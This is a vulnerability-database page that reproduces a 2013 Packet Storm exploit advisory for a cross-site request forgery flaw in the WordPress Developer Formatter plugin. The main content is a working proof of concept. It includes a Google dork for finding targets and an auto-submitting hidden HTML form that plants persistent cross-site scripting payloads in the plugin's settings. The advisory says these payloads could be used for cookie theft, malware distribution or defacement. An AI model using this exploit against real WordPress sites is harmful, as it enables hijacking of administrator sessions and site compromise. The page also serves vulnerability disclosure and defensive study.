Lucene search
K

WordPress Developer Formatter Cross Site Request Forgery

🗓️ 21 Jan 2013 00:00:00Reported by Junaid HussainType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

WordPress Developer Formatter CSRF Vulnerability. Form allows persistence XSS attac

Code
`====================================================================================================================  
# Exploit Title: Wordpress Developer Formatter CSRF Vulnerability  
# Date: 21/01/13  
# Author: Junaid Hussain -[ illSecure Research Group ] -  
# Contact: [email protected] | Website: illSecure.com  
# Software Link: http://wordpress.org/extend/plugins/devformatter/  
# Tested on Wordpress Version 3.5, Should work on all versions.  
# Google Dork: inurl:devformatter/devformatter.php  
====================================================================================================================  
[#] Vulnerable Code  
Page: devinterface.php - Line: 46   
<form method="post" action="options-general.php?page=devformatter/devformatter.php">  
[#] no nonce given - Read: http://codex.wordpress.org/Function_Reference/wp_nonce_field  
====================================================================================================================  
// CSRF Exploit:  
<html>  
<body onload="javascript:document.forms[0].submit()">  
<form method="post" action="http://[DOMAIN NAME]/wp-admin/options-general.php?page=devformatter/devformatter.php">  
<input name="usedevformat" style="display:none;" type="checkbox" checked/>   
<input name="copyclipboartext" type="text" style="display:none;" value="</textarea><script>alert(/xss/)</script>" />  
<input name="showtools" style="display:none;" type="checkbox" checked/>   
<textarea name="devfmtcss" rows="6" cols="60" style="display:none;">   
body {  
background-image: url('javascript:alert("XSS");') !important;  
}  
</textarea>  
</form></html>  
====================================================================================================================  
[#] copyclipboartext & devfmtcss are both vulnerable to persistent xss which could lead to cookie stealing,  
malware distribution or even a defacememnt.  
[#] Disclaimer: This exploit is for Research/Educational/Academic purposes only,   
The Author of this exploit takes no responsibility for the way  
you use this exploit, you are responsible for your own actions.   
====================================================================================================================  
Original: http://illsecure.com/code/Wordpress-DevFormatter-CSRF-Vulnerability.txt  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2013 00:00Current
7.4High risk
Vulners AI Score7.4
16